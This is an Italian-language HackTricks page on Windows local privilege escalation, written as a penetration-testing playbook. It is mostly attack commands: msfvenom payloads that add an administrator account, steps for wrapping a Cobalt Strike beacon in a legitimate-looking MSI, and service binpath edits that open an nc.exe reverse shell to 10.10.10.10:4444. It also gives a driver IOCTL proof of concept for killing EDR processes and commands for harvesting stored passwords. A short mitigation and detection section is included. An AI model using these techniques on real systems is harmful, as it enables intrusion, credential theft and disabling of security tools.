Windows Local Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
Miglior strumento per cercare vettori di Windows local privilege escalation: WinPEAS
Teoria iniziale di Windows
Access Tokens
Se non sai cosa sono Windows Access Tokens, leggi la seguente pagina prima di continuare:
{{#ref}} access-tokens.md {{#endref}}
ACLs - DACLs/SACLs/ACEs
Controlla la pagina seguente per più informazioni su ACLs - DACLs/SACLs/ACEs:
{{#ref}} acls-dacls-sacls-aces.md {{#endref}}
Integrity Levels
Se non sai cosa sono gli integrity levels in Windows dovresti leggere la seguente pagina prima di continuare:
{{#ref}} integrity-levels.md {{#endref}}
Controlli di sicurezza di Windows
Ci sono diverse cose in Windows che potrebbero impedirti di enumerare il sistema, eseguire eseguibili o persino rilevare le tue attività. Dovresti leggere la seguente pagina ed enumerare tutti questi meccanismi di difesa prima di iniziare l'enumerazione per la privilege escalation:
{{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}}
Informazioni di sistema
Enumerazione delle informazioni sulla versione
Verifica se la versione di Windows ha vulnerabilità note (controlla anche le patch applicate).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Version Exploits
Questo site è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza Microsoft. Questo database contiene più di 4.700 vulnerabilità di sicurezza, mostrando la massiccia superficie d'attacco che presenta un ambiente Windows.
Sul sistema
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas has watson embedded)
Localmente con informazioni di sistema
Repo GitHub di exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Ambiente
Ci sono credenziali/informazioni Juicy salvate nelle variabili d'ambiente?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
Cronologia di PowerShell
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
File di trascrizione di PowerShell
Puoi imparare come attivarlo su https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
I dettagli delle esecuzioni della pipeline di PowerShell vengono registrati, includendo i comandi eseguiti, le invocazioni dei comandi e parti degli script. Tuttavia, i dettagli completi dell'esecuzione e i risultati dell'output potrebbero non essere catturati.
Per abilitarlo, segui le istruzioni nella sezione "Transcript files" della documentazione, scegliendo "Module Logging" invece di "Powershell Transcription".
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Per visualizzare gli ultimi 15 eventi dai log di PowersShell puoi eseguire:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
Viene catturato un record completo delle attività e del contenuto dell'esecuzione dello script, garantendo che ogni blocco di codice sia documentato durante l'esecuzione. Questo processo conserva una traccia di audit esaustiva di ogni attività, utile per le analisi forensi e per l'esame di comportamenti malevoli. Documentando tutte le attività al momento dell'esecuzione, vengono fornite informazioni dettagliate sul processo.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Gli eventi di logging per lo Script Block possono essere trovati in Windows Event Viewer al percorso: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Per visualizzare gli ultimi 20 eventi puoi usare:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Impostazioni Internet
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Unità
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Puoi compromettere il sistema se gli aggiornamenti non sono richiesti usando httpS ma http.
Inizi verificando se la rete utilizza un aggiornamento WSUS non-SSL eseguendo quanto segue in cmd:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Oppure il seguente in PowerShell:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
Se ricevi una risposta come una di queste:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
E se HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer o Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" è uguale a 1.
Allora, è sfruttabile. Se l'ultimo valore di registro è uguale a 0, la voce WSUS verrà ignorata.
Per sfruttare questa vulnerabilità puoi usare strumenti come: Wsuxploit, pyWSUS - sono script exploit MiTM "weaponizzati" per iniettare 'fake' updates nel traffico WSUS non-SSL.
Leggi la ricerca qui:
{{#file}} CTX_WSUSpect_White_Paper (1).pdf {{#endfile}}
WSUS CVE-2020-1013
Read the complete report here.
Fondamentalmente, questa è la falla che sfrutta questo bug:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
Puoi sfruttare questa vulnerabilità usando lo strumento WSUSpicious (una volta reso disponibile).
Auto-updater di terze parti e IPC degli agent (local privesc)
Molti agent enterprise espongono una superficie IPC su localhost e un canale di update privilegiato. Se l'enrollment può essere forzato verso un server controllato dall'attaccante e l'updater si fida di una rogue root CA o di controlli di firma deboli, un utente locale può fornire un MSI malevolo che il servizio SYSTEM installerà. Vedi una tecnica generalizzata (basata sulla catena Netskope stAgentSvc – CVE-2025-0309) qui:
{{#ref}} abusing-auto-updaters-and-ipc.md {{#endref}}
KrbRelayUp
Una vulnerabilità di local privilege escalation esiste in ambienti domain Windows sotto specifiche condizioni. Queste condizioni includono ambienti in cui LDAP signing is not enforced, utenti che hanno diritti di self-rights che permettono di configurare la Resource-Based Constrained Delegation (RBCD), e la possibilità per gli utenti di creare computer all'interno del dominio. È importante notare che questi requisiti sono soddisfatti usando le impostazioni predefinite.
Trovi l'exploit in https://github.com/Dec0ne/KrbRelayUp
Per maggiori informazioni sul flusso dell'attacco vedi https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
Se questi 2 valori di registro sono abilitati (il valore è 0x1), allora utenti di qualsiasi livello di privilegi possono installare (eseguire) file *.msi come NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
Se hai una sessione meterpreter puoi automatizzare questa tecnica usando il modulo exploit/windows/local/always_install_elevated
PowerUP
Usa il comando Write-UserAddMSI di power-up per creare nella directory corrente un binario MSI di Windows per elevare i privilegi. Questo script scrive un installer MSI precompilato che richiede l'aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GIU):
Write-UserAddMSI
Basta eseguire il binario creato per elevare i privilegi.
MSI Wrapper
Leggi questo tutorial per imparare come creare un MSI wrapper usando questi strumenti. Nota che puoi incapsulare un file ".bat" se vuoi solo eseguire righe di comando
{{#ref}} msi-wrapper.md {{#endref}}
Creare un MSI con WIX
{{#ref}} create-msi-with-wix.md {{#endref}}
Creare un MSI con Visual Studio
- Genera con Cobalt Strike o Metasploit un nuovo payload Windows EXE TCP in
C:\privesc\beacon.exe - Apri Visual Studio, seleziona Create a new project e digita "installer" nella casella di ricerca. Seleziona il progetto Setup Wizard e clicca Next.
- Dai al progetto un nome, come AlwaysPrivesc, usa
C:\privesccome percorso, seleziona place solution and project in the same directory, e clicca Create. - Continua a cliccare Next finché non arrivi al passo 3 di 4 (choose files to include). Clicca Add e seleziona il payload Beacon appena generato. Poi clicca Finish.
- Seleziona il progetto AlwaysPrivesc in Solution Explorer e nelle Properties, cambia TargetPlatform da x86 a x64.
- Ci sono altre proprietà che puoi modificare, come Author e Manufacturer, che possono rendere l'app installata più legittima.
- Clicca col tasto destro sul progetto e seleziona View > Custom Actions.
- Clicca col tasto destro su Install e seleziona Add Custom Action.
- Fai doppio clic su Application Folder, seleziona il file beacon.exe e clicca OK. Questo garantirà che il payload beacon venga eseguito non appena l'installer viene avviato.
- Sotto le Custom Action Properties, imposta Run64Bit su True.
- Infine, compila.
- Se viene mostrato l'avviso
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', assicurati di impostare la piattaforma su x64.
Installazione MSI
Per eseguire l'installazione del file .msi malevolo in background:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Per sfruttare questa vulnerabilità puoi usare: exploit/windows/local/always_install_elevated
Antivirus e rilevatori
Impostazioni di audit
Queste impostazioni decidono cosa viene registrato, quindi dovresti prestare attenzione
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, è interessante sapere dove vengono inviati i logs
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS è progettato per la gestione delle local admin passwords, garantendo che ogni password sia unica, randomizzata e aggiornata regolarmente sui computer membri di un dominio. Queste password sono conservate in modo sicuro in Active Directory e possono essere accessibili solo dagli utenti a cui sono state concesse autorizzazioni sufficienti tramite ACLs, permettendo loro di visualizzare local admin passwords se autorizzati.
{{#ref}} ../active-directory-methodology/laps.md {{#endref}}
WDigest
Se attivo, le plain-text passwords sono memorizzate in LSASS (Local Security Authority Subsystem Service).
Maggiori informazioni su WDigest in questa pagina.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
A partire da Windows 8.1, Microsoft ha introdotto una protezione avanzata per la Local Security Authority (LSA) per bloccare i tentativi da parte di processi non attendibili di leggere la sua memoria o iniettare codice, aumentando la sicurezza del sistema.
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard è stato introdotto in Windows 10. Il suo scopo è salvaguardare le credenziali memorizzate su un dispositivo contro minacce come gli attacchi pass-the-hash.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Credenziali in cache
Credenziali di dominio sono autenticate dalla Local Security Authority (LSA) e utilizzate dai componenti del sistema operativo. Quando i dati di accesso di un utente vengono autenticati da un security package registrato, vengono tipicamente stabilite le credenziali di dominio per l'utente.
Maggiori informazioni sulle credenziali in cache qui.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Utenti & Gruppi
Enumerare Utenti & Gruppi
Dovresti verificare se uno dei gruppi a cui appartieni ha permessi interessanti.
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Gruppi privilegiati
Se appartieni a un gruppo privilegiato potresti essere in grado di elevare i privilegi. Scopri i gruppi privilegiati e come abusarne per elevare i privilegi qui:
{{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}}
Manipolazione dei token
Scopri di più su cos'è un token in questa pagina: Windows Tokens.
Consulta la pagina seguente per scoprire i token interessanti e come abusarne:
{{#ref}} privilege-escalation-abusing-tokens.md {{#endref}}
Utenti connessi / Sessioni
qwinsta
klist sessions
Cartelle home
dir C:\Users
Get-ChildItem C:\Users
Password Policy
net accounts
Ottieni il contenuto degli appunti
powershell -command "Get-Clipboard"
Processi in esecuzione
Permessi di file e cartelle
Prima di tutto, elencando i processi controlla la presenza di password nella command line del processo.
Verifica se puoi sovrascrivere qualche binary in esecuzione o se hai permessi di scrittura nella cartella dei binary per sfruttare possibili DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Controlla sempre la presenza di eventuali electron/cef/chromium debuggers in esecuzione, che potresti sfruttare per elevare i privilegi.
Verifica dei permessi dei binari dei processi
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Controllo dei permessi delle cartelle dei binari dei processi (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
Puoi creare un memory dump di un processo in esecuzione usando procdump di sysinternals. Servizi come FTP hanno le credentials in clear text in memory; prova a creare il dump della memory e leggere le credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Applicazioni GUI insicure
Le applicazioni eseguite come SYSTEM possono consentire a un utente di avviare un CMD o di esplorare directory.
Esempio: "Windows Help and Support" (Windows + F1), cerca "command prompt", clicca su "Click to open Command Prompt"
Servizi
Elenca i servizi:
net start
wmic service list brief
sc query
Get-Service
Permessi
Puoi usare sc per ottenere informazioni su un servizio
sc qc <service_name>
È consigliabile disporre del binario accesschk di Sysinternals per verificare il livello di privilegi richiesto per ogni servizio.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Si consiglia di verificare se "Authenticated Users" possono modificare qualsiasi servizio:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
Abilitare il servizio
Se ricevi questo errore (ad esempio con SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
Puoi abilitarlo usando
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Tieni presente che il servizio upnphost dipende da SSDPSRV per funzionare (per XP SP1)
Un'altra soluzione alternativa a questo problema è eseguire:
sc.exe config usosvc start= auto
Modificare il percorso del binario del servizio
Nel caso in cui il gruppo "Authenticated users" possieda SERVICE_ALL_ACCESS su un servizio, è possibile modificare l'eseguibile del servizio. Per modificare ed eseguire sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Riavviare il servizio
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
I privilegi possono essere elevati tramite varie autorizzazioni:
- SERVICE_CHANGE_CONFIG: Consente la riconfigurazione dell'eseguibile del servizio.
- WRITE_DAC: Permette la riconfigurazione dei permessi, portando alla possibilità di modificare le configurazioni del servizio.
- WRITE_OWNER: Consente l'acquisizione della proprietà e la riconfigurazione dei permessi.
- GENERIC_WRITE: Eredita la possibilità di modificare le configurazioni del servizio.
- GENERIC_ALL: Eredita anch'esso la possibilità di modificare le configurazioni del servizio.
Per il rilevamento e lo sfruttamento di questa vulnerabilità può essere utilizzato exploit/windows/local/service_permissions.
Services binaries weak permissions
Verifica se puoi modificare il file eseguibile eseguito da un servizio o se hai permessi di scrittura sulla cartella dove si trova l'eseguibile (DLL Hijacking).
Puoi ottenere tutti gli eseguibili avviati da un servizio usando wmic (non in system32) e controllare i tuoi permessi con icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Puoi anche utilizzare sc e icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Permessi di modifica del registro dei servizi
Dovresti verificare se puoi modificare qualche registro dei servizi.
Puoi verificare i tuoi permessi su un registro di servizio eseguendo:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Bisogna verificare se Authenticated Users o NT AUTHORITY\INTERACTIVE possiedono i permessi FullControl. In tal caso, il binario eseguito dal servizio può essere modificato.
Per cambiare il percorso del binario eseguito:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Registro dei servizi: permessi AppendData/AddSubdirectory
Se possiedi questo permesso su un registro significa che puoi creare sotto-registri a partire da questo. Nel caso dei servizi Windows questo è sufficiente per eseguire codice arbitrario:
{{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}}
Unquoted Service Paths
Se il percorso di un eseguibile non è racchiuso tra virgolette, Windows tenterà di eseguire ogni parte che termina prima di uno spazio.
Ad esempio, per il percorso C:\Program Files\Some Folder\Service.exe Windows tenterà di eseguire:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Elenca tutti i percorsi di servizio non racchiusi tra virgolette, escludendo quelli appartenenti ai servizi Windows integrati:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Puoi rilevare e sfruttare questa vulnerabilità con metasploit: exploit/windows/local/trusted_service_path Puoi creare manualmente un binario di servizio con metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Azioni di ripristino
Windows consente agli utenti di specificare azioni da eseguire se un servizio fallisce. Questa funzionalità può essere configurata per puntare a un binary. Se questo binary è sostituibile, potrebbe essere possibile privilege escalation. Maggiori dettagli possono essere trovati nella documentazione ufficiale.
Applicazioni
Applicazioni installate
Controlla i permissions of the binaries (maybe you can overwrite one and escalate privileges) e delle folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Permessi di scrittura
Verifica se puoi modificare qualche file di configurazione per leggere qualche file speciale o se puoi modificare un binario che verrà eseguito da un Administrator account (schedtasks).
Un modo per trovare permessi deboli su cartelle/file nel sistema è eseguire:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Esecuzione all'avvio
Verifica se puoi sovrascrivere qualche registry o binary che verrà eseguito da un utente diverso.
Leggi la pagina seguente per saperne di più su interessanti autoruns locations to escalate privileges:
{{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}}
Drivers
Cerca possibili third party weird/vulnerable drivers
driverquery
driverquery.exe /fo table
driverquery /SI
Se un driver espone una primitive di lettura/scrittura arbitraria del kernel (comune in handler IOCTL mal progettati), puoi elevare i privilegi rubando un SYSTEM token direttamente dalla memoria del kernel. Vedi la tecnica passo‑passo qui:
{{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}}
Abuso della mancanza di FILE_DEVICE_SECURE_OPEN sugli oggetti device (LPE + EDR kill)
Alcuni driver di terze parti firmati creano il loro device object con un SDDL robusto tramite IoCreateDeviceSecure ma dimenticano di impostare FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Senza questo flag, la DACL sicura non viene applicata quando il device viene aperto tramite un percorso che contiene un componente aggiuntivo, permettendo a qualsiasi utente non privilegiato di ottenere un handle usando un namespace path come:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (da un caso reale)
Una volta che un utente può aprire il device, gli IOCTL privilegiati esposti dal driver possono essere abusati per LPE e per manomissioni. Esempi di capacità osservate in natura:
- Restituire handle con accesso completo a processi arbitrari (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- Unrestricted raw disk read/write (manomissione offline, trucchi di persistenza a boot-time).
- Terminare processi arbitrari, inclusi Protected Process/Light (PP/PPL), permettendo la kill di AV/EDR da user land via kernel.
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Mitigazioni per sviluppatori
- Always set FILE_DEVICE_SECURE_OPEN when creating device objects intended to be restricted by a DACL.
- Validate caller context for privileged operations. Add PP/PPL checks before allowing process termination or handle returns.
- Constrain IOCTLs (access masks, METHOD_*, input validation) and consider brokered models instead of direct kernel privileges.
Idee di rilevamento per i difensori
- Monitora le aperture in user-mode di nomi di device sospetti (e.g., \ .\amsdk*) e sequenze IOCTL specifiche indicative di abuso.
- Applica la vulnerable driver blocklist di Microsoft (HVCI/WDAC/Smart App Control) e mantieni le tue allow/deny lists.
PATH DLL Hijacking
Se hai write permissions inside a folder present on PATH potresti essere in grado di eseguire un hijack di una DLL caricata da un processo e escalate privileges.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Per maggiori informazioni su come abusare di questo controllo:
{{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}}
Rete
Condivisioni
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Controlla la presenza di altri computer noti hardcoded nel file hosts
type C:\Windows\System32\drivers\etc\hosts
Interfacce di rete e DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Porte aperte
Controlla la presenza di servizi ristretti dall'esterno
netstat -ano #Opened ports?
Tabella di routing
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
Tabella ARP
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Regole del firewall
Consulta questa pagina per i comandi relativi al firewall (elencare le regole, creare regole, disattivare, disattivare...)
Altri comandi per l'enumerazione di rete qui
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Il binario bash.exe può anche essere trovato in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Se ottieni l'utente root puoi ascoltare su qualsiasi porta (la prima volta che usi nc.exe per ascoltare su una porta ti verrà chiesto tramite GUI se nc deve essere consentito dal firewall).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Per avviare facilmente bash come root, puoi provare --default-user root
Puoi esplorare il filesystem di WSL nella cartella C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Credenziali Windows
Credenziali Winlogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
